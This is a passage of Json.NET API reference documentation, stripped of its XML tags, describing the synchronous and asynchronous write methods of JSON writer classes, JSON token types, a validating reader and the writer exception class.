write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - Derived classes must override this method to get asynchronous behaviour. Otherwise it will - execute synchronously, returning an already-completed task. - - - - Gets or sets the writer's character array pool. - - - - - Gets or sets how many s to write for each level in the hierarchy when is set to . - - - - - Gets or sets which character to use to quote attribute values. - - - - - Gets or sets which character to use for indenting when is set to . - - - - - Gets or sets a value indicating whether object names will be surrounded with quotes. - - - - - Initializes a new instance of the class using the specified . - - The to write to. - - - - Flushes whatever is in the buffer to the underlying and also flushes the underlying . - - - - - Closes this writer. - If is set to true, the underlying is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the specified end token. - - The end token to write. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Specifies the type of JSON token. - - - - - This is returned by the if a read method has not been called. - - - - - An object start token. - - - - - An array start token. - - - - - A constructor start token. - - - - - An object property name. - - - - - A comment. - - - - - Raw JSON. - - - - - An integer. - - - - - A float. - - - - - A string. - - - - - A boolean. - - - - - A null token. - - - - - An undefined token. - - - - - An object end token. - - - - - An array end token. - - - - - A constructor end token. - - - - - A Date. - - - - - Byte data. - - - - - - Represents a reader that provides validation. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Sets an event handler for receiving schema validation errors. - - - - - Gets the text value of the current JSON token. - - - - - - Gets the depth of the current token in the JSON document. - - The depth of the current token in the JSON document. - - - - Gets the path of the current JSON token. - - - - - Gets the quotation mark character used to enclose the value of a string. - - - - - - Gets the type of the current JSON token. - - - - - - Gets the .NET type for the current JSON token. - - - - - - Initializes a new instance of the class that - validates the content returned from the given . - - The to read from while validating. - - - - Gets or sets the schema. - - The schema. - - - - Gets the used to construct this . - - The specified in the constructor. - - - - Changes the reader's state to . - If is set to true, the underlying is also closed. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a []. - - - A [] or null if the next JSON token is null. - - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying as a . - - A . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . This method will return null at the end of an array. - - - - Reads the next JSON token from the underlying as a of . - - A of . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Asynchronously closes this writer. - If is set to true, the destination is also closed. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously flushes whatever is in the buffer to the destination and also flushes the destination. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the specified end token. - - The end token to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes indent characters. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the JSON value delimiter. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an indent space. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON without changing the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of the current JSON object or array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of an array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a constructor. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the end of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a null value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON array. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the start of a constructor with the given name. - - The name of the constructor. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the beginning of a JSON object. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a [] value. - - The [] value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a value. - - The value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes a of value. - - The of value to write. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes an undefined value. - - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously writes the given white space. - - The string of white space characters. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Asynchronously ets the state of the . - - The being written. - The value being written. - The token to monitor for cancellation requests. The default value is . - A that represents the asynchronous operation. - The default behaviour is to execute synchronously, returning an already-completed task. Derived - classes can override this behaviour for true asynchronicity. - - - - Gets or sets a value indicating whether the destination should be closed when this writer is closed. - - - true to close the destination when this writer is closed; otherwise false. The default is true. - - - - - Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. - - - true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. - - - - - Gets the top. - - The top. - - - - Gets the state of the writer. - - - - - Gets the path of the writer. - - - - - Gets or sets a value indicating how JSON text output should be formatted. - - - - - Gets or sets how dates are written to JSON text. - - - - - Gets or sets how time zones are handled when writing JSON text. - - - - - Gets or sets how strings are escaped when writing JSON text. - - - - - Gets or sets how special floating point numbers, e.g. , - and , - are written to JSON text. - - - - - Gets or sets how and values are formatted when writing JSON text. - - - - - Gets or sets the culture used when writing JSON. Defaults to . - - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the destination and also flushes the destination. - - - - - Closes this writer. - If is set to true, the destination is also closed. - If is set to true, the JSON is auto-completed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the end of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the end of an array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end constructor. - - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - - - - Writes the property name of a name/value pair of a JSON object. - - The name of the property. - A flag to indicate whether the text should be escaped when it is written as a JSON property name. - - - - Writes the end of the current JSON object or array. - - - - - Writes the current token and its children. - - The to read the token from. - - - - Writes the current token. - - The to read the token from. - A flag indicating whether the current token's children should be written. - - - - Writes the token and its value. - - The to write. - - The value to write. - A value is only required for tokens that have an associated value, e.g. the property name for . - null can be passed to the method for tokens that don't have a value, e.g. . - - - - - Writes the token. - - The to write. - - - - Writes the specified end token. - - The end token to write. - - - - Writes indent characters. - - - - - Writes the JSON value delimiter. - - - - - Writes an indent space. - - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON without changing the writer's state. - - The raw JSON to write. - - - - Writes raw JSON where a value is expected and updates the writer's state. - - The raw JSON to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a of value. - - The of value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - An error will raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes the given white space. - - The string of white space characters. - - - - Releases unmanaged and - optionally - managed resources. - - true to release both managed and unmanaged resources; false to release only unmanaged resources. - - - - Sets the state of the . - - The being written. - The value being written. - - - - The exception thrown when an error occurs while writing JSON text. - - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - 